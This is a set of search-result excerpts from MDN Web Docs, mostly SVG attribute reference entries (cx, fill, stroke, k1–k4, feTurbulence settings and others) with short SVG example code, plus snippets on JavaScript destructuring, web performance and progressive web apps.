... function parseprotocol(url) { const parsedurl = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url); if (!parsedurl) { return false; } console.log(parsedurl); // ["https://developer.mozilla.org/web/javascript", "https", "developer.mozilla.org", "en-us/web/javascript"] const [, protocol, fullhost, fullpath] = parsedurl; return protocol; } console.log(parseprotocol('https://developer.mozilla.org/web/javascript')); // "https" object destructuring basic assignment const user = { id: 42, is_verified: true }; const {id, is_verified} = user; c...
Image file type and format guide - Web media technologies
for instance, this example defines an drawing area with initial size 100 by 100 units, containing a line drawn diagonally through the box: <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> </svg> svg can be used in web content in two ways: you can directly write the <svg> element within the html, containing svg elements to draw the image.
... compression svg source may be compressed during transit using http compression techniques, or on disk as an .svgz file.
Understanding latency - Web Performance
blocking happens when there are too many simultaneous connections made to a single server over http.
... sending is the time taken to send the http request to the server.
Web Performance
glossary terms beacon brotli compression client hints code splitting cssom domain sharding effective connection type first contentful paint first cpu idle first input delay first interactive first meaningful paint first paint http http/2 jank latency lazy load long task lossless compression lossy compression main thread minification network throttling packet page load time page prediction parse perceived performance prefetch prerender quic rail real user monitoring resource timing round trip time (rtt) server timing speculative parsing speed index ssl synthetic monitoring tcp handshake tcp slow...
... the role of tls in performance tls—or https as we tend to call it—is crucial in creating secure and safe user experiences.
Add to Home screen - Progressive web apps (PWAs)
if you have firefox for android available, use it to navigate to our demo at https://mdn.github.io/pwa-examples/a2hs/.
... to enable your app to be added to a home screen, it needs the following: to be served over https — the web is increasingly being moved in a more secure direction, and many modern web technologies (a2hs included) will work only on secure contexts.
The building blocks of responsive design - Progressive web apps (PWAs)
some ideas follow, which also help to keep the number of http requests down — another key factor in mobile app performance: you should try to use css3 features to programmatically generate graphical effects where possible, rather than relying on image files.
... using web fonts for displaying icons is an effective technique for keeping file size and http requests down, and this is supported well across modern and older browsers.
alignment-baseline - SVG: Scalable Vector Graphics
example <svg width="300" height="120" viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <!-- materialisation of anchors --> <path d="m60,10 l60,110 m30,10 l300,10 m30,65 l300,65 m30,110 l300,110 " stroke="grey" /> <!-- anchors in action --> <text alignment-baseline="hanging" x="60" y="10">a hanging</text> <text alignment-baseline="middle" x="60" y="65">a midd...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
baseFrequency - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.05" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number-optional-number> default value ...
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specific...
clip-path - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> html,body,svg { height:100% } <svg viewbox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"> <clippath id="myclip" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".5" /> </clippath> <!-- top-left: apply a custom defined clipping path --> <rect x="1" y="1" width="8" height="8" stroke="green" clip-path="url(#myclip)" /> <!-- top-right: apply a css basic shape on a fill-box geometry.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
clip-rule - SVG: Scalable Vector Graphics
example <svg width="100" viewbox="0 0 100 90" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- define star path --> <defs> <path d="m50,0 21,90 98,35 2,35 79,90z" id="star" /> </defs> <!-- left: evenodd --> <clippath id="emptystar"> <use xlink:href="#star" clip-rule="evenodd" /> </clippath> <rect clip-path="url(#emptystar)" width="50" height="90" fill="blue" /> <!-- right: nonzero --> <clippath id="filledstar"> <use...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
color - SVG: Scalable Vector Graphics
WebSVGAttributecolor
usage notes value <color> | inherit default value depends on user agent animatable yes example html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <g color="green"> <rect width="50" height="50" fill="currentcolor" /> <circle r="25" cx="70" cy="70" stroke="currentcolor" fill="none" stroke-width="5" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'color' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
cx - SVG: Scalable Vector Graphics
WebSVGAttributecx
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <radialgradient cx="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ellipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape.
... value <length> default value 50% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient cx="0" id="mygradient000"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cx="50%" id="mygradient050"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <st...
cy - SVG: Scalable Vector Graphics
WebSVGAttributecy
three elements are using this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <radialgradient cy="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ellipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape.
... value <length> default value 50% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 34 10" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient cy="0" id="mygradient000"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> <radialgradient cy="50%" id="mygradient050"> <stop offset="0%" stop-color="gold" /> <stop offset="50%" stop-color="green" /> <st...
dx - SVG: Scalable Vector Graphics
WebSVGAttributedx
seven elements are using this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- some reference text --> <text x="10%" y="50%" fill="grey">svg</text> <!-- the same text with a shift along the x-axis --> <text dx="50%" x="10%" y="50%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as o...
... value list of <length> default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="0" x2="100%" y1="25%" y2="25%" /> <line x1="0" x2="100%" y1="50%" y2="50%" /> <line x1="0" x2="100%" y1="75%" y2="75%" /> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="30%" x2="30%" y1="0" y2="100%" /> <line x1="60%" x2="60%" y1="0" y2="100%" /> <!-- behaviors change based o...
dy - SVG: Scalable Vector Graphics
WebSVGAttributedy
seven elements utilize this attribute: <altglyph>, <fedropshadow>, <feoffset>, <glyphref>, <text>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- lines materialized the position of the glyphs --> <line x1="10%" x2="10%" y1="0" y2="100%" /> <line x1="0" x2="100%" y1="30%" y2="30%" /> <line x1="0" x2="100%" y1="80%" y2="80%" /> <!-- some reference text --> <text x="10%" y="30%" fill="grey">svg</text> <!-- the same text with a shift along the y-axis --> <text dy="50%" x="10%" y="30%">svg</text> </svg> line { stroke: red; stroke-width: .5px; stroke-dasharray: 3px; } altglyph warning: as...
... value list of <length> default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 150 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal lines --> <line x1="0" x2="100%" y1="30" y2="30" /> <line x1="0" x2="100%" y1="40" y2="40" /> <line x1="0" x2="100%" y1="50" y2="50" /> <line x1="0" x2="100%" y1="60" y2="60" /> <!-- vertical lines --> <line x1="10" x2="10" y1="0" y2="100%" /> <line x1="50" x2="50" y1="0" y2="100%" /> <line x1="90" x2="90" y1="0" y2="100%" /> <!-- beha...
fill-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <altglyph>, <circle>, <ellipse>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 400 100" xmlns="http://www.w3.org/2000/svg"> <!-- default fill opacity: 1 --> <circle cx="50" cy="50" r="40" /> <!-- fill opacity as a number --> <circle cx="150" cy="50" r="40" fill-opacity="0.7" /> <!-- fill opacity as a percentage --> <circle cx="250" cy="50" r="40" fill-opacity="50%" /> <!-- fill opacity as a css property --> <circle cx="350" cy="50" r="40" style="...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
fill - SVG: Scalable Vector Graphics
WebSVGAttributefill
html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple color fill --> <circle cx="50" cy="50" r="40" fill="pink" /> <!-- fill circle with a gradient --> <defs> <radialgradient id="mygradient"> <stop offset="0%" stop-color="pink" /> <stop offset="100%" stop-color="black" /> </radialgradient> </defs> <circle cx="150" cy="50" r="40" fill="url(#mygradient)" /> <!-- keeping the...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
filter - SVG: Scalable Vector Graphics
WebSVGAttributefilter
html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <filter id="blur"> <fegaussianblur stddeviation="2" /> </filter> <rect x="10" y="10" width="80" height="80" filter="url(#blur)" /> </svg> usage notes value none | <filter-function-list> default value none animatable yes for a description of the values see the css filter property.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-family - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="arial, helvetica, sans-serif">sans serif</text> <text x="100" y="20" font-family="monospace">monospace</text> </svg> usage notes value [ <family-name> | <generic-family> ]#where <family-name> = <string> | <custom-ident>+<generic-family> = serif | sans-serif | cursive | fantasy | monospace default value depends on u...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-style - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but only has an effect on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-style="normal">normal font style</text> <text x="150" y="20" font-style="italic">italic font style</text> </svg> usage notes value normal | italic | oblique default value normal animatable yes for a description of the values, please refer to the css font-style property.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-weight - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-weight="normal">normal text</text> <text x="100" y="20" font-weight="bold">bold text</text> </svg> usage notes value normal | bold | bolder | lighter | <number> default value normal animatable yes for a description of the values, please refer to the css font-weight property.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
fr - SVG: Scalable Vector Graphics
WebSVGAttributefr
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="25%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="100" fi...
...ll="url(#gradient2)" style="transform: translatex(240px);" /> </svg> usage notes value <length> default value 0 animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="...
fx - SVG: Scalable Vector Graphics
WebSVGAttributefx
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.75" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r=...
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="wh...
fy - SVG: Scalable Vector Graphics
WebSVGAttributefy
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.75" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r=...
... animatable none example <svg viewbox="0 0 120 120" width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#gradient)" stroke="black" stroke-width="2"/> <circle cx="60" cy="60" r="50" fill="transparent" stroke="wh...
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
fifteen elements are using this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference.
... value <url> default value none animatable yes example html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image href="/files/2917/fxlogo.png" x="0" y="0" height="100" width="100"/> </svg> lineargradient for <lineargradient>, href defines url referring to a template gradient element; to be valid, the reference must be to a different <lineargradient> or <radialgradient> element.
k1 - SVG: Scalable Vector Graphics
WebSVGAttributek1
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" ...
...y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k1' in that specification.
k2 - SVG: Scalable Vector Graphics
WebSVGAttributek2
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="1" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="10" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" ...
...y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k2' in that specification.
k3 - SVG: Scalable Vector Graphics
WebSVGAttributek3
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="1" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="10" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" ...
...y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k3' in that specification.
k4 - SVG: Scalable Vector Graphics
WebSVGAttributek4
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0.3" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0...
..." y="0" width="200" height="200" style="filter: url(#composite1);" /> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="200" height="200" style="filter: url(#composite2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'k4' in that specification.
numOctaves - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="1" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="3" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#noise1);" /> <rect x="0" y="0" width="200" ...
... example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" numoctaves="3" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effect...
pointer-events - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- the circle will always intercept the mouse event.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
preserveAspectRatio - SVG: Scalable Vector Graphics
example <svg viewbox="-1 -1 162 92" xmlns="http://www.w3.org/2000/svg"> <defs> <path id="smiley" d="m50,10 a40,40,1,1,1,50,90 a40,40,1,1,1,50,10 m30,40 q36,35,42,40 m58,40 q64,35,70,40 m30,60 q50,75,70,60 q50,75,30,60" /> </defs> <!-- (width>height) meet --> <svg preserveaspectratio="xmidymid meet" x="0" y="0" viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <svg preserveaspectratio="xminymid meet"...
...se href="#smiley" /></svg> <svg preserveaspectratio="xmaxymid slice" x="150" y="0" viewbox="0 0 100 100" width="10" height="25"><use href="#smiley" /></svg> <!-- none --> <svg preserveaspectratio="none" x="0" y="30" viewbox="0 0 100 100" width="160" height="60"><use href="#smiley" /></svg> </svg> topexample html,body,svg { height:100% } <svg viewbox="-1 -1 162 92" xmlns="http://www.w3.org/2000/svg"> <defs> <path id="smiley" d="m50,10 a40,40,1,1,1,50,90 a40,40,1,1,1,50,10 m30,40 q36,35,42,40 m58,40 q64,35,70,40 m30,60 q50,75,70,60 q50,75,30,60" /> </defs> <!-- (width>height) meet --> <rect x="0" y="0" width="20" height="10"> <title>xmidymid meet</title> </rect> <svg viewbox="0 0 100 100" width="20" height="10" preserveaspectratio="xmidymid ...
seed - SVG: Scalable Vector Graphics
WebSVGAttributeseed
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default value...
... 0 animatable yes example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence basefrequency="0.05" seed="1000" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'seed' in that specification.
shape-rendering - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" shape-rendering="geometricprecision"/> <circle cx="320" cy="100" r="100" shape-rendering="crispedges"/> </svg> usage notes value auto | optimizespeed | crispedges | geometricprecision default value auto animatable yes auto this value indicates that the user agent shall make appropriate...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-dasharray - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element, but it only has effect on the following twelve elements: <altglyph> <circle> <ellipse> <path> <line> <polygon> <polyline> <rect> <text> <textpath> <tref> <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dashes nor gaps --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- dashes and gaps of the same size --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="4" /> <!-- dashes and gaps of different sizes --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="4 1" /> <!-- dashes and...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-dashoffset - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-3 0 33 10" xmlns="http://www.w3.org/2000/svg"> <!-- no dash array --> <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> <!-- no dash offset --> <line x1="0" y1="3" x2="30" y2="3" stroke="black" stroke-dasharray="3 1" /> <!-- the start of the dash array computation is pulled by 3 user units --> <line x1="0" y1="5" x2="30" y2="5" stroke="black" stroke-dasharray="3 1" strok...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-miterlimit - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 38 30" xmlns="http://www.w3.org/2000/svg"> <!-- impact of the default miter limit --> <path stroke="black" fill="none" stroke-linejoin="miter" id="p1" d="m1,9 l7 ,-3 l7 ,3 m2,0 l3.5 ,-3 l3.5 ,3 m2,0 l2 ,-3 l2 ,3 m2,0 l0.75,-3 l0.75,3 m2,0 l0.5 ,-3 l0.5 ,3" /> <!-- impact of the smallest miter limit (1) --> <path stroke="black" fill="none" stroke-l...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following twelve elements: <altglyph>, <circle>, <ellipse>, <path>, <line>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 40 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke opacity: 1 --> <circle cx="5" cy="5" r="4" stroke="green" /> <!-- stroke opacity as a number --> <circle cx="15" cy="5" r="4" stroke="green" stroke-opacity="0.7" /> <!-- stroke opacity as a percentage --> <circle cx="25" cy="5" r="4" stroke="green" stroke-opacity="50%" /> <!-- stroke opacity as a css property --> <...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke-width - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has effect on shapes and text context elements, including: <altglyph>, <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <!-- default stroke width: 1 --> <circle cx="5" cy="5" r="3" stroke="green" /> <!-- stroke width as a number --> <circle cx="15" cy="5" r="3" stroke="green" stroke-width="3" /> <!-- stroke width as a percentage --> <circle cx="25" cy="5" r="3" stroke="green" stroke-width="2%" /> </svg> usage notes value <length> | <percent...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
stroke - SVG: Scalable Vector Graphics
WebSVGAttributestroke
